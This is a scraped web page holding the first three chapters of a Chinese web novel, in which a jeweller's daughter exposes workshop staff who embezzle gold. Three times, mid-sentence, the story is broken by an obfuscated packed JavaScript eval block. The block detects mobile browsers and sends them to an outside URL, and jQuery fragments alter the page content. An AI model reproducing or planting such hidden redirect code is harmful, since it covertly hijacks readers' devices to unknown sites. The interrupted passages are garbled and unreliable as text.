《珠光宝气》 1. 第1章 九月，神都城。 一入秋，雨水便如天河开了闸，一场接着一场，淅淅沥沥，下了大半个月仍没点儿要停的意思，牛毛小雨缠绵悱恻，硬是将这粗犷北地渲染出一些烟雨江南的味道来。 这日午间，金台坊内行人寥寥，街角一家花肆门口，掌柜的抬头看看天，叹了口气，招呼伙计把门口数十盆半开的菊花搬到屋里去。 正忙碌间，就见对面酒楼停了辆青帷马车，从车上下来三个男子，皆穿着细绸暗花纹的圆领长袍，头戴六合巾，彼此称兄道弟，说说笑笑地往楼里去了。 “小二，照例整治桌酒菜，把你们店里拿手的都呈上来，再来几坛桂花酿。”中间为首的那个中年汉子一进门就高声喝道。 “呦，这不是荣大爷么，多日不见，您老人家越发富贵了，快往里请。”一个店小二殷勤地跑过来，“您今日来的凑巧，楼上还有个位置绝好的雅间儿，又有塘里现抓地脸盆大的螃蟹，膏满黄肥，最是鲜美。” 小二一边把三人往楼上引，一边压低了声音凑到李荣耳边：“还有一件，我只告诉荣大爷你，一会子红漪楼的蕊香姑娘带着几个小娘子，过来咱们这儿，您要是想......”小二嘿嘿一乐，“小的可以提前给您约下。” 李荣白了他一眼：“什么蕊香嘴臭的，当大爷我没见过世面，又不是什么正经头牌，也值当的偷偷摸摸的，你少糊弄我。我们兄弟几个有事商量，一概不叫人服侍，你只叫他们把酒菜快快上来。” “是，是，小的这就去传。” 李荣把另外两个男子让到雅间内，互相谦让一番，这才在首席坐下，那两人打横，一左一右坐在他下首。 一时酒菜齐备，李荣先举杯道：“云良、俊川，李某托大，先敬两位贤弟一杯。” 吴云良和张俊川忙跟着端起酒杯，恭敬道：“大哥哪里话，论年岁属你最长，何况我们还仰赖大哥带我们一道发财，合该我们敬你才是。” 三人碰杯，一饮而尽，互相布菜让酒，渐渐酒酣面热，话也多了起来。 “荣大哥，我是大老粗一个，账目上的事全然不懂，你好歹跟我说说，咱们眼下手里到底有多少银钱了？”吴云良往前欠了欠身子，笑着问。 “是啊，昨儿我家婆娘还说，在城西鸣玉坊相看了间宅子，地界儿好，前后两进，还有个大院儿，她十分中意，回来就一个劲催着我筹钱买下。”张俊川跟着说，“只是对方要价忒狠，少了二百两银子不卖。我手头实在没有，荣大哥，您看咱账上要是富裕，能不能先支给小弟一些。” 见李荣捻着胡须不语，张俊川赶紧补道：“荣大哥你放心，咱们兄弟以后一定唯你马首是瞻，大家有钱一起赚，我的那份让给你大头儿。” 李荣闻言一乐，拍了拍张俊川的肩膀，神神秘秘地伸出手掌冲二人比了个五。 吴云良虎着脸：“五十两？” 李荣摇摇头。 张俊川惊地张大嘴巴：“该不会有五百两吧？” 李荣挑眉，面露得色。 “我的亲娘嘞！”吴云良舔了舔嘴唇，艰难道，“这也太多了，东家出门不过两个多月，咱们就捣腾出这么多亏空来，不会被发现吧？” 李荣冷笑：“瞧你两个那没出息的样儿，自古都是撑死胆大的，饿死胆小的，不过区区五百两银子，哪儿就那么容易被发现了。再说了，哪有亏空，账目一进一出都是平了的，金银首饰交到客人手里头，也都是足斤足两，就是东家回来盘查，也是查不出端倪的。你们怕什么，有我呢。” 两人都只贪财，却不是有主意的，听见李荣如此说，虽神色稍缓，却仍心悸难止。 吴云良思忖道：“荣大哥，东家往日待咱们不薄，说起来五百两银子也不少了，足够咱们兄弟几个买房子置地，操办些产业，不若以后就收手罢，老老实实拿分内的月例，才是安稳长久之道。” 张俊川也惴惴道：“东家回来查不查倒是后话，只是近日苏大姑娘总往铺子里来，她是个最伶俐聪慧的，若是让她瞧出些首尾，可怎么好呢？” “谁？你说玉娘那丫头？”李荣咂了口酒，不屑地冷呵一声，“玉娘一个闺阁小姐，哪里就懂得这些了，她不过是喜爱那些金银首饰，来看个稀奇罢了。你们不见她每每来了，对着我荣叔长荣叔短的十分亲近，我跟着东家堪堪得有十几载光阴，她再疑心不到我身上的，你们只管放心就是。” 李荣说着，从怀里掏出两张银票，分别递与二人：“这上头每张是一百两，两位贤弟且收着，日后积少成多，咱们哥儿仨就离了苏记，另起炉灶，自己再开个金银铺，雇上几个伙计，每日家躺着数钱，那才是长久之计呢。” “荣大哥说得极是，是我们鼠目寸光，只想着发笔横财，枉费了大哥您一片苦心，实在该罚。”张俊川接了银票，宝贝地塞进怀里，提壶给李荣满上酒，自己也自罚一杯。 吴云良坐在一边，面上还是有几分踌躇。 李荣见状，敲着桌面道：“我做大哥的，打心底自然是愿意带着兄弟们发财。你们两个，一个是作坊大师傅，一个专管勘验走货，我又经管着账房，彼此配合无间，方能神不知鬼不觉地把金银淘换出来。若有胆的，咱们往后就还照旧，不过三五年间，也就有足够本钱出去独立门户了；若没胆的，李某也不强求，拿了这一百两银子去。打明儿起，你做你的工，我记我的账，只当没这回事。咱们就一辈子混个温饱，甘心为仆，任人驱使，也没甚可惜的。” 吴云良见他有些恼了，忙讪笑道：“大哥莫生气，俗语说‘开弓没有回头箭’，我们既然行了此事，就不该瞻前顾后的，云良以后只听大哥的。” 李荣满意地笑着捻须：“这才是成大事的气概，来来，喝酒。” 三人推杯换盏，谈笑间又细细说起日后的谋划来。 隔壁雅室内，一双纤手放下定窑白瓷茶盅：“好生招待着那三位贵客，切莫惊动了。” 店小二打躬应喏，垂着头，并不敢直视座上之人：“姑娘放心，小的们嘴严着呢，再不会走脱消息让他们知道您来过。” 苏玉照点点头，对身后的跟着的两个侍女道：“金环、银屏，咱们走吧，回‘苏记’守株待兔。” “是。” 金环、银屏答应着，金环又拿出一粒小银瓜子塞到店小二手里，店小二喜得见牙不见眼，恭恭敬敬把她们送下楼。 大半日一盆花也没卖出去，花肆掌柜的半躺在摇椅上，蔫头耷脑地跷着脚晃悠，艳羡地看着对面酒楼里客来客往，不期然看到三位姿容出众的小娘子走出来，一下子瞪直了眼，撑起身子细瞧。 且不说当前那位，只后面跟着的两个丫鬟，皆是容颜俏丽，穿戴不俗，上穿绫缎窄裉袄，下配百褶石榴裙，腰系五色宫绦，脚蹬粉底绣鞋，每人打着一柄青油纸伞。 伞下露出眉清目秀的脸庞，一个粉面盈腮，弯月眉水杏眼，一副娇憨模样；另一个略微瘦削，瓜子脸，琼鼻樱口，行动爽利。 两人皆梳着双丫髻，金钗、宝簪、掩鬓、分心，一整套头面首饰戴得齐齐整整，富贵逼人。 被她们簇拥在中间的那位小娘子，气质更为出挑，身姿袅娜，举手投足间俱是大家风范，只可惜那姑娘头上戴着金穗儿流苏绢纱双层帷帽，隐隐约约瞧不清楚面容，无端更引人遐思，薄纱后该是怎样的倾国倾城。 花肆掌柜看得呆愣住，却见那位姑娘施施然向他店前走过来。 “姑娘，都什么时候了，家里遭来贼，您还有心情逛花肆。”女子身后一个侍女神色焦急道。 那女子脚步不停，笑道:“多大点子事儿，等我回去就料理了，眼下先给祖母挑一挑重阳节礼是正经，免得她又去寻我娘的晦气。” 临到近前，女子脆生生开口:“掌柜的，近日可有什么新鲜时令的花朵儿？” 掌柜的急忙忙起身，把三人让到花厅内:“姑娘请掌眼，临近重阳，咱们店里新培育了几种菊花给贵人们赏玩。” 苏玉照一眼望去，满花厅里上上下下摆了十来层盆栽，大多数是菊花，有打苞儿的有半开的也有开全了的，大的竟有碗口那么大，紫粉白绿黄，各色皆有，有叫得上名的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370998|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有不认识的。 “真好看，但不知怎么卖？”苏玉照问。 掌柜十分热情，对自家菊花品类如数家珍，一一指给苏玉照介绍：“这是墨菊，这是绿云，这盆灿若云霞的是凤凰振羽，这盆麟爪参差的是盘龙春晓，还有黄石公、玉壶春、蜀国夫人......” 苏玉照随着掌柜的介绍一一看去，点头满意道：“先生真是个中行家，满城花肆里寻去，也未必能有这么多名品。” 掌柜的被夸得心里挺美，嘿嘿一乐：“贵人您是识货的,这还有一盆倭国的舶来品，名唤‘瑞云殿’，鄙人下了许多功夫，好容易才养活了。” 苏玉照摇头：“这个就罢了，白惨惨的，谁稀罕它。” “那您喜欢哪个随便挑。” 苏玉照道：“你先报个价儿，我好挑。” 掌柜的笑道：“姑娘是懂行市的，我也不跟您要谎，连盆带花，大株的四十文，小株的三十文，您看如何？” 苏玉照还没说话，身后银屏先道：“还说不要慌呢，头一遭来你就宰客，我们家四时花卉不断，当然知道行情，顶好的团扇大的菊花，一株也不过二十文，你张口就翻倍，这生意做不成了，姑娘咱们走吧。” 说着挽了苏玉照的手臂要走，掌柜的赶紧拦道：“别家的菊花，只管开得个头大，却没咱们家这些名品，怎么好相比的，再说我这还带着花盆呢。” 银屏瞥了一眼架上的花盆，不屑道：“什么泥瓦罐子也值得说道，我们家里现成的龙泉窑的青瓷器皿，这些白饶给我们都不要。” 掌柜的听了，面上讪讪地：“姑娘若不要花盆，那就再让您五文如何？” 银屏：“再让十文。” 掌柜的：“不能，不能，薄本生意，再让就折本了。” 苏玉照开口道：“银屏，掌柜的养花不易，咱们也别太强人所难了。既这么着，掌柜的你只管拣开得好的，酱紫、朱红、金黄、粉白、翠绿各色各两百株，差人送到‘万宝楼’去，到了自有人接应；另备一百株，送到金台坊东的苏府去，告诉门房小厮搬到福安堂，让他们回里头，就说是大姑娘孝敬老太太赏玩的。” 掌柜的拱手笑道:“原来是‘万宝楼’的贵客，小人有眼无珠，姑娘莫怪。” “岂敢。”苏玉照道，“咱们都是一样，凭着手艺做个小买卖，养家糊口罢了。” “哎呦小人哪敢跟您那金屋银殿的相提并论呐，还得仰仗姑娘多照顾照顾生意。” 苏玉照没接茬，转而道:“至于这花的价格么，就统论三十文一盆吧。” 掌柜的:“……” 说了半天，这不还是要让十文么，而且还带上花盆。 “姑娘您杀价太狠......”掌柜的一脸难色。 苏玉照但笑不语。 掌柜的待要拒绝，无奈对方要的太多，他真舍不得不做这笔生意，只得愁眉苦脸地摆摆手:“行吧行吧，您说您天天的日进斗金，也和我们讲这十文八文的，好没意思。” 苏玉照笑回道:“掌柜的这话说的，谁家的钱是大风刮来的不成，再者说我一个小辈儿，又不当家做主的，每月领那几两银子的月钱，买胭脂头油都不够呢，要不是赶上重阳，得哄老太太开心，就这些我也舍不得呢。” 掌柜的经她这么一说，心里一点不快也消散了，毕竟做成这一大单生意，还是高兴的，便忙着张罗伙计们去花房搬运菊花，按地址送去。 苏玉照命金环留了张条子，上面写明何事何事做准白银九两整，印上自己的凤纹小印，嘱咐掌柜的交了菊花，去“万宝楼”账房凭条子领银子，然后带着金环、银屏出了花肆，上了拐角处等在那里的一辆双驾马车，直接去了“万宝楼”。 这厢酒楼里，李荣三人正喝到兴头上，一个个面酣耳热，都有些酩酊，把之前口中嫌弃的蕊香并两个小娇娘也叫了来，一人搂了一个在怀中，手伸到衣服里揉捏取乐。 忽听房门被人急急敲响：“荣大爷，不好了，大姑娘到楼里去了。” 三人皆是一凛，酒醒了七八分。 2. 第2章 “你嚷什么，毛手毛脚的。”李荣推开蕊香，起身打开门，冲门外的小厮骂道，“大姑娘又不是头一遭去楼里，值得你这么慌张么，瞧你那副做贼心虚的样儿，干了那点子亏心事全挂在脸上了。” 小厮急得直跺脚：“荣大爷，这回不一样，大姑娘一进楼就让封帐，后院也叫停火，除了前殿迎客的，其他人一概不许动，说是要彻查什么，我一看情形不好，尿遁跑出来给几位大爷送信，您几位快回去看看吧，若真让她查出什么，大家都完了。” 吴云良和张俊川一听闻，吓得脸都白了：“大哥，这可怎么是好？” 李荣沉吟片刻，心中捋清来龙去脉，料想没什么破绽，苏玉照即便是查，谅也查不出什么，于是手一挥，沉稳道：“不用怕，咱们先回去看看，想来她也不过是一时兴起查查帐，怕的是老爷不在家，底下人都松散了，给大伙儿紧紧皮罢了，并不是针对咱们。你们都镇定些，不要不打自招，只要没证据，即便她疑心，也不能把我们怎么样，大不了，就先安分些时日。” “好，咱们就先回去，见机行事。” 两人答应着，跟着李荣和来报信的小厮一起，匆匆上了马车：“快，回‘万宝楼’。” “万宝楼”的大名，在神都城可谓妇孺皆知。 此楼坐落在皇城南金台坊正中，上下五层，楼高百丈，金碧辉煌。外头红柱碧窗、翘角飞檐，琉璃瓦、赤金砖，每一层瓦当上都印着佛体“卐”字文，檐下挂着一百零八盏羊角白玉锦绣宫灯。夜幕降临时，专有掌灯人照管灯油烛火，彻夜不息，远远望去更加华光璀璨，巍巍大观。 楼内鳞次栉比，每层都摆满了博古架，架子上一格一格，分区展示着华丽精美的首饰头面，一走进去，满目琳琅，任是再目下无尘的人，也得让这里面的珠光宝气迷了眼。 前面是高楼，后头还有个五进的大院儿，全都城鼎鼎有名的工匠师傅们都被招揽在此，一件件巧夺天工的饰品便出自他们之手。若忙起来，师傅们便在院中歇宿，里头有专人伺候，也有专门的大厨房供应饭食。 苏玉照此时端坐在后院正厅里，金环、银屏服侍左右，只有大掌柜陈开德，二掌柜陈开信在屋里，三掌柜陈开仁带着其他掌事的都候在厅外。 苏玉照托着茶盏，轻轻抿了一口。 此时她已摘下帷帽，换了一身金桂色绣云长裙，外罩落霞红缂丝对襟褙子，榴花嵌宝排扣，颈上戴着碧玉璎珞圈，头梳芙蓉髻，插戴金凤衔珠钗、金镶玉牡丹华胜，两鬓斜插珍珠流苏步摇，。 整个人像是金玉堆出来的，雍容华贵、明艳妩媚，一双桃花眼顾盼生辉，看人时目光灼灼、深不见底，唇畔虽常挂着笑，却是八面玲珑、不怒自威，让人不敢小觑。 偏她又不是个端庄持重的性子，比不得一般的大家闺秀那样温柔和顺。打小跟着父亲在生意场上混久了，三教九流都见过，便养成了个混不吝的性格，天不怕地不怕，整日家油嘴滑舌，嬉笑怒骂。领头带着一群纨绔喝酒耍钱、打马射猎，或品茗焚香、拨丝弄管，拈酸诗，唱小曲儿，无论什么场子她都来得。 “陈大伯，准备的怎么样了？”苏玉照问陈开德。 “账都封了，李荣经手的那几本都拣了出来，有问题的地方我已做了标记，单等姑娘过目。另外，跟着李荣、吴云良、张俊川做工的几个学徒小厮也都绑了，现关在后头柴房里，请姑娘发落。”陈开德回道。 苏玉照点头，又问：“通风报信的那个小厮，放出去了？” “是，听姑娘的吩咐，看院子的护卫没拦，让他翻墙跑了。”陈开德不解道，“姑娘放他去给李荣报信，不怕他们逃出城去？” 苏玉照放下茶杯，往椅背上一靠，冷笑了一声，笃定道：“我猜他们舍不得跑，阖家老小都在京城，离了我这里，他们再往哪搜刮银子去？我先前又没漏风声，他们仗着我年轻，只当我不晓事，胡闹着玩，摆架子耍威风来的。如今他们只怕正急急地往回赶，想要遮掩过去呢。” “我是怕万一打草惊蛇，何不悄悄地等他们回来，把人抓了再细审。”陈开信在一旁道。 “二伯伯，我还等着回去陪我母亲用晚膳呢，难道让我巴巴地在这里等着他们？想得美。”苏玉照笑道，“且看着吧，这会子他们应该已到门口了。” 话音未落，就听外面有人嚷道：“玉娘来了？可是不凑巧，荣叔午间叫了两个兄弟出去吃了几杯，这会子才回来，你早说要来，我好去接你。” 李荣一面说，一面跨步走进花厅，来至苏玉照面前。吴云良和张俊川则止步停在外面，钻到一众管事们中间打探消息，管事们面上都淡淡地，脚下挪开三尺，离他俩远远的。 吴云良和张俊川二人见此，不由心头惴惴，目光四下踅摸一圈，发现素日跟自己交好的几个管事小厮都不在场，更觉没着没落起来。但众人都庄严肃穆侍立以待，他们也不敢造次，只得闭嘴敛神，静静等着里头的动静。 见李荣回来，苏玉照冲陈开信挑了挑眉，目光狡黠：怎样？我说他们舍不得咱这块儿肥肉吧。 “唉呀荣叔叔你可算回来了，快快请坐。他们气死我了，我今儿想起来，父亲出门两月有余，咱们的账都没盘点盘点，我怕有那起子小人，看着东家不在家，心思就活泛起来，在那秤上、账上的做手脚，就想着来理一理，也好放心，谁知他们竟推三阻四的，可见心里有鬼。正好荣叔你来了，可要替我细细地查明白，别让人家糊弄了我去。”苏玉照满面堆笑说道。 一番话说的李荣心头十分熨贴，他很不见外地坐到苏玉照下首，大手在桌案上一拍:“侄女儿放心，咱们都是跟着东家十多年的老人了，哪个敢鬼鬼祟祟的不老实，我李荣第一个不饶他。” “荣叔，这可是你说的，那咱们就正经的查起来，若是查到什么亲的近的人身上，荣叔可不许徇私。” 苏玉照从金环手里取过一把巴掌大的黄花梨木翠珠小算盘，擎在掌中，“哗楞”一声，算珠归零：“走吧，拿上这两个月的账本，先去灶上看看。” 李荣一愣，陪笑道：“何必这么麻烦，灶上烧着炭火，乌漆麻黑腌臜得紧，还是交给荣叔，待我查明白了，再来回姑娘。玉娘放心，我心里向着你，无论查出哪个，我定当公正处置，绝不护短。” 苏玉照抬眸，皮笑肉不笑地看向李荣，盯了一瞬，收回目光，起身向外面走去。 李荣心中蓦地打了个突。 众人簇拥着苏玉照来到后院一间大屋前，此屋与别处不同，大门大窗，屋顶上一溜并排十来个烟囱。 早有护卫候在抱厦前，见她们来了，忙将落了锁的正门打开：“回少东家，里头炭火熄了，几个灶上的坩埚都没动，还是昨天收工时的样子。” 苏玉照带人走进去，银屏让小厮摆了桌案圈椅，请苏玉照坐了，命人重新上茶，又让账房的人，把近来的账本放到桌上。 苏玉照一边把玩着手中的小算盘，一边吩咐：“另起炉火，把坩埚重新加热，将里头的金子熔了，请大掌柜的验一验，有掺假掺杂的挑出来。每个坩埚上都印着各自师傅的名字，大家也都在这里，彼此做个见证，真查出来可别说我冤枉了谁。” 匠人师傅们纷纷回说“不敢”。 张俊川闻言，悄悄松了口气。还好，他平时做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370999|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事十分谨慎，从不在坩埚中留痕迹，每日收工时，都把坩埚清理干净，不像其他师傅，没用完的金料就大咧咧的剩在那里。 看来今日逃过一劫。 陈开德一挥手，一众小厮上前，七手八脚点燃炭火，把坩埚架到火上，不一会儿，坩埚中的金子熔成一团，陈开德上前一一查验。 不多时，来回说：“有两个师傅锅里的金子纯度不够，煅烧后有变黑的迹象，疑似加了银和黄铜，其他师傅的倒是干净，还有张大师傅，他的坩埚里空空如也，无从勘验。” 苏玉照看向堂中众人：“是哪两位，自己站出来，不用等着我点名了吧。” 众人面面相觑，其中两个已经吓得面色惨白，两股战战。 其中一个膝盖一软跪了下去，不住讨饶：“少东家开恩，小人知错了，我只是一时糊涂，您念在我是初犯，饶了我这回吧。” 另一个也是磕头如捣蒜：“少东家容禀，小人真的不是有意偷金，只因上月家中老娘害了肺咳，大夫说得温养，开了许多名贵药材，小人买不起，这才起了歪念，但通共也只昧了八钱金子，少东家若要罚，只管扣我的月例，只别辞了我出去。” “呦，我当是谁，这不是赵淮赵大哥么。荣叔，我记得他是你夫人家内侄儿对吧？”苏玉照看向李荣。 李荣气得瞪起眼，上前在赵淮头上狠狠拍了一巴掌：“你这混账东西，你娘病了，你怎么不跟你小姨妈说，难道咱们家几两银子的药钱还吃不起了？值当的偷鸡摸狗的，我这张老脸都被你丢尽了。“ 赵淮鼻涕一把泪一把，扯住李荣的衣摆：“姨夫，我真的知错了，您帮我求求少东家，法外开恩，饶我这一遭吧。” 李荣脸色铁青，待要徇私求情，可偏偏刚夸下海口，此刻也不好打脸张这个嘴，又恐赵淮胡乱攀扯，再牵连出他来。 只得将赵淮一脚踢开，边背着人冲他使眼色，边故作刚正道：“你自己做的好事，我再不多管，要求你自己求姑娘。” 赵淮无法，又跪直了，向苏玉照膝行两步：“少东家，您就念在小的事出有因，饶了我吧，小的再不敢了。” 苏玉照勾唇：“这么说，我还得称赞你一片孝心，情有可原了？” “小人不敢扯谎，请少东家明察。”赵淮磕头道。 “是吗？那怎么前儿我去王庄头那里玩儿，瞧见你也在，掐着腰，趾高气扬，骰子摇得震天响，面红耳赤的满嘴里喊着‘开大、开小’，敢情是我眼浊，瞧错了人？”苏玉照睨着他问。 赵淮被揭了底，神情一下子萎顿下去，额头冷汗涔涔:“没.....没有，的确是小人不假，小人只是一时手痒……” 苏玉照嗤笑:“一时手痒，输了个精光？” “我......”赵淮脸羞得紫涨，哑口无言。 苏玉照道：“按理说，‘苏记’也不是那起刻薄主家，每月给大师傅的月例，多则八两，少则五两，便是学徒小工，每月也有二两银子的月钱。你们满城里打听去，那些衙门里的官吏老爷们，月俸也不过就这么些。只要是踏实过日子的，不赌钱不逛花楼，养家糊口再给妻儿父母积攒点体己，怎么也尽够了。即便你娘真个病了，别说吃几副药，就是人参燕窝，偶然也吃得起。偏你又赌钱，败光家业不算，还要偷金，更可恶一层了。” “是啊，是啊，主家待咱们好，咱们更该兢兢业业，尽好本分，你怎么干出这等家贼行径，断忽饶不得。”其他工匠师傅皆说道。 二掌柜陈开信道：“既如此，不如绑了，扭送官府，按律处置。” 赵淮闻言，吓得面如死灰，一下子瘫倒在地。 3. 第3章 众人纷纷附和：“对，把他们送官，做出这等没脸的事，别带累了我们的名声。” 当下就要寻绳子来，将他二人五花大绑。 赵淮伏在地上，只拿眼偷偷瞟李荣，李荣回瞪他一眼，示意他不要乱说话。 另一个叫王亮的则跪在那里，闷着头一直拿袖子抹泪，见求情无望，便再不发一言。 “且慢。”苏玉照抬手，转头问王亮：“你呢，偷了多少，又为什么？敢情你老子娘也病了，等着你偷钱买药呢？” 王亮愧声道：“前后昧了约么一两，都打酒吃了，家里婆娘最厌我酗酒，把持着家用不肯给我。耐不住肚里有馋虫勾着，做工时又天天守着金疙瘩，没忍住就......” 苏玉照道：“既如此，那就莫怪我无情了。此事说起来可大可小，但今日所查，只是从坩埚中得出些端倪，你二人究竟偷了多少，已然无从考证，你说八钱他说一两，也不过是你们自己的一面之词。钱数虽少，可若送到官府审问起来，轻则鞭笞，重则流放，没的害得你们破家败业，我心里也不落忍。不如就辞了你两个，自己另谋生路去吧。” 陈开信咬牙道：“就这么放过这起小贼，太便宜他们了。” 苏玉照笑着摇摇头：“他们好歹在‘苏记’干了这几年，没有功劳也有苦劳，况赵淮又是荣叔的亲戚，我瞧在荣叔面上，也该网开一面。” 陈开信一脸不解，今日这么大阵仗，为的不就是揪出李荣这几个内贼，怎么反倒查起小喽啰来，而且还要给李荣留脸面，高高拿起轻轻放下，这是什么道理？ 李荣则感激涕零：“多谢姑娘，你放心，这不孝子我带回去一定好好管教，他偷的银钱，我也会尽数加倍补上。” “有荣叔处置，我自然放心。”苏玉照颔首，“来人，拿他两个的契书来。” 专管人事文书的掌事忙答应一声，带人到前头楼里上房，打开按年份编制的柜匣子，从里面找到赵淮和王亮的契书，取出回来呈到苏玉照面前。 苏玉照看过一遍：“你们两个，当时入‘苏记’时，签的都是二十年长契，契书上写明，若无缘故，除非自愿出去，否则主家不得随意撵辞。但有一条，若有偷盗、旷工或背主串通对家者，则严惩不贷，重者送官论罪。今日我只辞了你们出去，你二人可还有话说？” 赵淮和王亮皆垂头不语。 “既无话，就收拾东西出去吧。”苏玉照道，“至于偷的金钱，就按你们自己说的数额，与账房立个欠据，签字画押，限三个月归还。在‘苏记’这几年，你们的手艺也算能出师了，对外我只说是你们自己请辞，不会说是因盗窃而起，想来出去再找个金银楼做工，也不是什么难事。往后，你们好自为之吧。” 二人皆磕头谢恩，然后被管事的带了出去。 众人见他们被发落了，一个个在堂下垂首侍立，神情愈加恭敬。 心中都暗道少东家虽年轻，却对楼中事务了如指掌，份例契约理得明明白白，发落起人来又干脆利落，且又比老东家更不念旧情，往后还是老实本分的好，千万别被纠到错处。 那两个被撵出去的，虽说只是丢了营生，好歹还能再去别家，但别家给的工钱跟“苏记”可没得比。 李荣见苏玉照处置了两个偷金的，以为今日的事就算完了，找两个人杀鸡儆猴，立威的目的也已达到。 于是放下心来，对苏玉照笑道:“玉娘青出于蓝，越发干练了，老东家回来知道了，必定高兴。既然此间事了，我带姑娘到楼里逛逛？最近又有几件新花样的首饰，玉娘看看喜不喜欢。” 苏玉照笑了笑:“不急，楼里自然要去的。但我还有两句话，要与诸位说。” 李荣笑容一僵，讪讪退到一边。 陈开德拍了两下巴掌，让众人肃静。 苏玉照扫视一圈儿，沉声道：“今日查出这两个人来，你们也看到了，但其他人今儿虽未露形，也保不得就干净，要有人主动坦白的，趁早跟我说明，我也只撵出去了事。若一味装憨，不见棺材不掉泪，过后再让我查出来，可定是要送官的。到那时，是死是活，可就不由我说了算了，你们仔细想清楚。” “借我们十个胆子，也再不敢的。”众人忙道，“少东家尽管查，查出谁来，任凭处置，绝无怨言。” “好，这话是你们说的。”苏玉照拨弄着算盘上的玉珠儿，慢条斯理道，“你们不要以为，自己的坩埚里没有脏杂，就能万事大吉了。我近来翻看帐册，咱们楼里，单金饰一项，每日均摊能有两百金的进账，按五分利计，那么每日所售金饰重量便是一百两金子，一月就是三千两，两个月就是六千两，没错吧？但这两个月，楼里从钱庄账上支取的金锭，有将近八千两，多出来的二千两，哪儿去了？总不能凭空飞了吧？” 李荣闻言，背后冒了汗，心中也暗暗纳罕，他所记的账目上，从钱庄支取的银两的确只有六千两不假，怎么到了苏玉照口中，又出来个八千两，这是从何说起呀？ 难不成除了他之外，还有人胆大包天，敢虚支冒领？ 他们一伙儿偷金，都是靠着制作金饰时，往里面掺些银锡黄铜，克扣的是客人的，一般人信任“苏记”的口碑，拿回去也不会真烧来检验。 就算吃下豹心熊胆，他也不敢打钱庄那头的主意，只要两边一对账，一查一个准 李荣思来想去，又不禁暗喜，若真有别人也偷金，正好撺掇着苏玉照严办，把那人揪出来，自己那一份，也让他顶缸，便故做惊怒道：“两千两金，这可不是小数，待我去同钱庄的人对账，看看是哪个黑心的领了去，拿住他，叫他连本带利吐出来。 下面有师傅小声回道：“打金时有些损耗也是正常，尤其是近日几家王府、侯府里定制的一些款式，工艺繁复，损耗就更大......” “呵......”苏玉照打断他，“我自然知道打金有损耗，也知道你们的行话，什么‘留锅底’，‘金银错’，又有什么‘金龙过江掉层麟’，一般的零碎我也不与你们理论，全当大家辛苦，赏你们吃酒。但是二千两，你跟我说损耗？是欺我年轻，诸事不懂，还是觉得我是闺阁小姐，面薄心软，拉不下脸来跟你们算账，由着你们拿捏呢？” 一众人都吓得噤若寒蝉，缩着脖子低下头当鹌鹑。 苏玉照深吸一口气，将他们晾在那里，自己端起茶盏吃茶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371000|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这一行的弊病由来已久，即便是苏玉照的父亲苏檀林在家时，也不能断根，只是那会子都是小偷小摸，数额不大，苏檀林便睁一只眼闭一只眼，不做计较。 苏玉照不忿，与父亲理论起来，苏檀林还说：和气生财，有钱大伙一起赚，咱们挣了钱，也得给底下人漏一漏，一来也让他们体面些，二来也防小人嫉妒。小处施恩，大处受益，何乐而不为呢？ 苏玉照对此却颇不以为然，反驳说：与人施惠要放在明处，既是要给他们体面，就大大方方地给师傅们涨工钱，而不是纵容这些人鸡鸣狗盗。父亲以为自己是在施恩，他们可不念咱们的好处，只当主家软弱蒙昧好欺哄，以为自己多有本事呢。况且还有许多师傅恪守本分的呢，父亲对奸滑者一味纵容，对那些好的就不公平，时间长了，他们岂不寒心？ 说了好几遭，苏父终于醒转，决定听女儿的意见，好好整饬一番。 谁知这档口又因采办从滇南带回来一块儿玉，颜色翠绿，飘花灵动，十分漂亮。采办说这玉是蒲甘国出产的，在滇南一带已成为风尚，只是北地还没有。 苏父一眼便爱住，想要大批买来，或做成玉钏、戒指，或嵌到首饰上，又怕采办不会挑，看走了眼，于是决定亲自走一趟。 整顿工坊的事便耽搁下来，谁知苏父一走，李荣等人没了忌惮，愈加贪得无厌起来。 苏玉照冷眼瞧着，实在不像，这才出手严查。 既然出手，就要一击必中，斩草除根，从此断了行里这个不成文的规矩。 至于如何施行，苏玉照心中已有决断，待晾得众人差不多了，她这才开口:“你们当中，谁是贼人，我已经都知道了，实相的就自己招了，咱们借一步说话，我给你留着脸面，若抵死不认，可就别怪我了。” 底下仍无人应答，吴云良和张俊川都看向李荣，李荣暗中冲他两个摇摇头。 他认为苏玉照肯定没证据，连赵淮、王亮偷了多少，她都查不出来，又岂能知道他们这里头的玄机。 且让她把那个私自去钱庄领银子的揪出来，再作理论。 